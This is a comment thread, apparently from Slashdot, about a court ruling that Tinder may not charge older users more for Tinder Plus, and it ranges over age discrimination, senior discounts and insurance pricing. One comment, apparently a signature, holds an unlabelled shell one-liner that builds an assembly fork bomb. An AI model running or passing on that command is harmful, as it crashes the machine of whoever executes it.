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Tinder Must Stop Charging Its Older Users More For 'Plus' Features, Court Rules (arstechnica.com)
An anonymous reader quotes a report from Ars Technica: The online dating service Tinder must change one of its key monetization strategies. A Los Angeles appellate court reversed a lower court's decision on Monday and told Tinder to stop charging older users more money per month for its "Tinder Plus" service. The proposed class-action lawsuit, filed by Tinder user Allan Candelore in February 2016, alleged that Tinder engaged in illegal age discrimination by charging its 30-and-older users $19.99 per month for Tinder Plus while offering younger users either $9.99 or $14.99 monthly subscription rates for the same services. Tinder Plus includes app perks such as additional "super-likes" which are more likely to attract a dater's response. In an initial trial, Tinder's defense argued that the pricing was based on market testing that showed a market-driven reason to offer lower prices to "budget constrained" users.
"Nothing in the [original] complaint suggests there is a strong public policy that justifies the alleged discriminatory pricing," Judge Brian Currey wrote in the appeal court's 3-0 ruling. "Accordingly, we swipe left" -- a joke based on the app's popular "swipe to reject" gesture -- and reverse." That reversal hinges largely on California's Unruh Civil Rights Act, which was passed in 1959 and protects "equal access to public accommodations and prohibits discrimination by business establishments." The ruling noted that some business-led discrimination is allowed by California state law, but it agreed with Candelore's argument that Tinder's age-targeted pricing is not.
"Nothing in the [original] complaint suggests there is a strong public policy that justifies the alleged discriminatory pricing," Judge Brian Currey wrote in the appeal court's 3-0 ruling. "Accordingly, we swipe left" -- a joke based on the app's popular "swipe to reject" gesture -- and reverse." That reversal hinges largely on California's Unruh Civil Rights Act, which was passed in 1959 and protects "equal access to public accommodations and prohibits discrimination by business establishments." The ruling noted that some business-led discrimination is allowed by California state law, but it agreed with Candelore's argument that Tinder's age-targeted pricing is not.
I can imagine one person having a brain fart and doing something stupid. One person doesn't decide the pricing and change it at a whom, though. This had to be multiple executives agreeing this pricing discrimination sounded like a good idea.
Who the heck in running Tinder? I wonder how many of them have graduated high school, because this is a pretty obvious screw up. I notice the various bios of their CEO don't list any other jobs he's ever had. Looks a bit like this may be his first job.
Tinder sucks. No way to know more about a person than pictures and brief one-liner. Also easy enough to create throwaway accounts. OKCupid and similar free dating services keep the bar higher than a gallery of random mugshots.
So, that means that as someone who doesn't get "senior discounts" because I'm below a certain age, I'm being discriminated against? This cuts both ways.
Don't disappoint your bird dog. Go to the range.
AARP membership
AARP wouldn't be a proxy. It would be the business that discriminates by age.
You understood it all wrong, guys.
They're not charging more for the older users, they're charging less for the younger users! Big difference!
#DeleteFacebook
Insurance companies are explicitly excepted in the laws.
"Why do I go to the Zoo and pay $20 for myself and $10 for my kid then?"
There are probably different reasons for it.
Kids are always accompanied by adults, so the zoo still sells a full priced ticket (or two) to a family. Also, it is an incentive to go with your kid rather than leave him at home. The age cutoff for cheaper tickets is usually quite low (7 or so), so the cheaper/free ticket is also offered as a convenience for the parents (a 2 year old kid probably won't get a lot out of the visit, but you take him there when visiting the zoo with your older kid so as not to leave him alone).
All of that does not apply to online stores/services.
Is charging more even discrimination in the first place? Charging someone is still allowing them to have a service.
What if the price was based on race/religion? $10 for whites, $15 for blacks, $20 for Hispanics and if you wear a hijab, then it's $50 for you.
I think it's much more complex than that. Child bus tickets and passes cost less than adult ones, for instance, even if the child is not accompanied by an adult (which would often be the case for say a 12 or 13 year-old taking a public transit bus to or from school).
File under 'M' for 'Manic ranting'
against age discrimination.
Except instead of explicitly charging older people a higher rate based on an age cutoff, they simply offer a discount for students and children. The correlation is very close to an age-based cutoff, except you don't get in trouble for age discrimination. Kinda like how insurance companies can't charge more based on race, but they can charge more if you live in a certain zip code which just so happens to correlate strongly with race.
So what they were trying to do wasn't stupid. They just implemented it wrong.
So, what does this mean for the whole life insurance industry then? Their whole business model is charging people more as they get older.
As a Libertarian, I believe that businesses should be free to make any pricing decisions they want, even if they piss off some of their customers. As a businessman, I'm amazed that Tinder's management can be so fucking stupid.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
Senior discounts encourage seniors to become frequent visitors. Less on the individual transaction, but way more revenue from repeat business.
I should also have to pay less if I'm only targeting the young women!
No doubt the insurance companies spend handsomely on bribes, errrr, I mean lobbying.
Are they? Insurance companies charge by the statistics. If younger people are statistically more likely to cost more, that's not the Insurer's fault.
You should be charged by how good you look. Ugly people pay a premium. lol
[($)]
Not necessarily. Seniors are mostly retired and have lots of free time during the day when others are at work. By getting them to come more frequently you are filling up time with few regular customers and so you are using your employees and space more efficiently.
I used to have a bank account that was free until I turned 30. Then it started to cost an arm and leg. I wonder if I might sue them just for the "joy" of it.
"public policy" could be meant literally: The Zoo can do it because it posts all prices at the gates
bickerdyke
And discounts to under 35yrs aren't encouraging them to become frequent visitors?
bickerdyke
there are KKK and Neo-Nazi leaders on Facebook that haven't been banned yet.
Yes but banning the is the president wouldn't work. If he weren't allowed to spew shit online he would just call press conferences when he gets board and shat it out on TV. So they don't bother to kick him off.
---Saying gnome 3 is better than windows 8 not so much a compliment as it is damning with light praise.
"serious people"? I thought tinder was meant to be more casual.
bickerdyke
The stats make sense though, in auto insurance statistically those under 25 are riskier drivers. In heath insurance and life insurance those that are older are statistically more expensive/less profitable.
and over 60 to but my active 90 year grandmother pays less than me even though she is a greater risk.
---Saying gnome 3 is better than windows 8 not so much a compliment as it is damning with light praise.
Well... you learn to ride on older horses...
That was the motto of a guy back at school who would frequent an ~40 bar. (This was pre-internet) And quite successfully.
bickerdyke
yeah, ask shakespere, he made up a ton. and michael jackson's whoo.
Didn't you get the memo? Statistics or reality mean jack shit, what matters is that if you find out that (insert minority group here) is statistically more likely to do (insert bad thing here), you're WRONG! Axiomatically.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Wouldn't work? It doesn't even parse.
At the bottom of the
Irridiculous!
You're correct. The notion that Shakespeare invented words is baseless and a barefaced lie. We must castigate people who violate fair play by spreading this sanctimonious nonsense, even though they are multitudinous /s
http://grammar.yourdictionary....
http://shakespeare-w.com/engli...
And yeah, I realise 'invented' and 'first known user of' aren't quite the same thing.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yes. Persons under age 21 may possess and consume alcohol beverages if they are with their parents, guardians or spouses of legal drinking age; but this is at the discretion of the licensee. The licensed premise may choose to prohibit consumption and possession of alcohol beverages by underage persons.
The only similar thing we have where I live is that able-bodied individuals, whether children or adults, seated in the seats nearest the door of public transit vehicles are encouraged to give up their seats for the elderly or disabled. The only circumstance in which this is mandatory is when the person who is boarding is in a wheelchair, and they require the use of a convertible seat designed to accommodate wheelchairs that is occupied by able-bodied individuals. The bus must further not be so crowded that they cannot even get the wheelchair to the seat without people otherwise needing to leave the train or bus.
File under 'M' for 'Manic ranting'
I have to sue my local cinema and zoo, they also charge younger and older customers less (under 12 and over 65) also my railway is even worse, they let customers under 12 years use it for free.
The principle reason for "Senior discounts" is that elderly folks are often poorer (Not always, theres plenty of rich old folk), and ...
Sorry, but older folks being poorer is a relic of the past. Today, the boomer generation is the "old folks" (which are arguably the richest senior citizens ever, and most likely going to remain it) while "generation internship" is what you find among the younger workforce.
Please provide evidence of your assertion.
That's an answerable question. Here's data: http://www.rcaemergingwealth.c...
Looks like income rises until about age 35, then flattens out somewhere between 35 and 45, but does not go down significantly for old people.
That graph is median income, by the way, so this effect is not just a small number of "rich" old people skewing the average up.
I do think that it's amusingly oxymoronic that in an attempt to reduce drunk driving, states have a policy that you must show a driver's license to buy a drink.
Over 60 are not necessarily a higher risk for auto insurers. They have a higher accident rate. But they tend to be driving slower and cause less damage. A dozen parking lot fender benders have a much lower payout than one ramming into a school bus.
I see you're finally putting some effort in, but you have a long way to go. Better luck next time, sparky.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
While were at it lets stop the practice of senior discounts.
Goodness no! I'm over half way there now. That would suck if all my life I've been paying more because I'm not a senior citizen, and then have that discount taken away when I'm just a decade or two away.
"That's the way to do it" - Punch
The older you are the harder (no pun intended) it is to find a willing partner... so why not upcharge?
I'm gonna go reach out and extend an idea.... When an imminent disaster is boring down on a community.. its illegal to take advantage of that (i.e. upcharging for plywood, gasoline, bottled water etc. in the path of a hurricane).
So by proxy.. if you're no longer a chick magnet and your prospects (imminent disaster) are being limited by an act of God (Hurricane... Getting Older) a business decides to become predatory and charge more for those that don't have the mojo that their younger folk do.. This is an issue. It is leveraging human hope.. based on the mathematics that your hope of finding a suitable partner decreases as your age increases... and these R-Tards are profiting by the likely degradation of a positive outcome based on your age... means you should be up-charged for your chance to be happy.
Along your line of thinking then...
What if they charged more if you're ugly. Subjective I know, but would it be acceptable if they had a small panel of judges who flipped through and marked the ugly people and charged them more?
There are laws against discriminating against age, religion, sex, race, national origin, etc. There are no laws against discriminating against ugly people. Yet, somehow that sounds even more distasteful.
"That's the way to do it" - Punch
Sure. And black people (males especially) cost more than white people. I challenge you to use a pricing structure based on that statistic, I'll be ready with the popcorn I guess the real question is: how good at statistics are companies allowed to be before it's no longer acceptable?
All my life I have shared your opinion, but I'll be 50 pretty soon. Hell yes I'm joining AARP, just for the discounts alone (a single weekend of hotel discount pays for a whole year of membership). I'm going to be allowed to use the exercise machines at my municipal senior centers too, so maybe next election I'll vote for those bonds instead of the usual voting against them.
I'm totally going to start exploiting every stupid edge that previous old people (my former enemies) left in place for me. I might even start to soften up on social security; maybe we do need to keep that around instead of dismantling it. One thing's for sure: you aren't paying enough into it! (I'm just thinking about your future; heavens-to-betsie, why do you think I intend to raid your fund myself? No, we'll just borrow from it during anomalous periods of budget crisis, but I promise we'll always put the money back after the emergencies are over.)
And as for lawns, oh yes: keep the fuck off them, please.
"Believe me!" -- Donald Trump
They could charge you more if you had been on fewer dates/were a virgin. Discriminating prices based on age (within the working age population) is illegal, as is discriminating prices based on race or religion.
Your ad here. Ask me how!
That is a very cromulent point you made there.
First law of people: People are generally stupid.
At most, the memo could either claim or suggest it, barring actual evidence being provided by it. And as the memo in question was put together by someone who clearly has at least one horse in the race, it would need to be corroborated. Keep in mind, if a Democrat puts out a memo pointing the other way, it is subject to the same skepticism. Now an actual report, with appropriate legal citation, would carry more weight. At most, a memo points toward a path for investigation, so we shall see.
Frankly, I fully expect to find members of both parties to be involved in illicit activity. However, if an incumbent office holder is involved, or has been involved, with a hostile foreign power, that is an urgent concern to national security. It exceeds the importance of ordinary criminal activity, which can be prosecuted in the normal fashion. That said, if the Clintons had done even 1% of what they've been accused of, and successfully avoided prosecution (with massive interests looking to bring them down, no less), they are the greatest masterminds of the last 200 years. Frankly, I find that hard to believe, at best.
> If you want to be pedantic about it I'm pretty sure number of digits in your bank account is the biggest correlation with wealth.
If you want to be pedantic about it I'm pretty sure number of digits in your bank account is the biggest correlation with THE ABSOLUTE VALUE of wealth (it's often negative).
Plenty of people have five digits in their bank account and six digits of debt.
If you were only going to look at one account, I'd guess the best correlation may be the 401k / IRA balance. The amount of home equity is a big factor, but that wouldn't be represented in an account balance.
Here I was more worried I was forgetting things like material and liquid assets. (Jeff Bezos, most likely, doesn't actually have 12 digits in his bank account.)
Also, *woosh*
Wonder what the public key field is for?
Apparently you don't have to be retired either. Virtually every web site that talks about them lists age requirements, but they do not. In fact, they offer a discount for those under 50.
Since their own web site doesn't list requirements, I assume they're relying on non-authoritative sources to perpetuate the lies and remain "exclusive." Even their own web site says "Anyone 50 and over can get all the great member benefits" but doesn't specify anything for those under 50.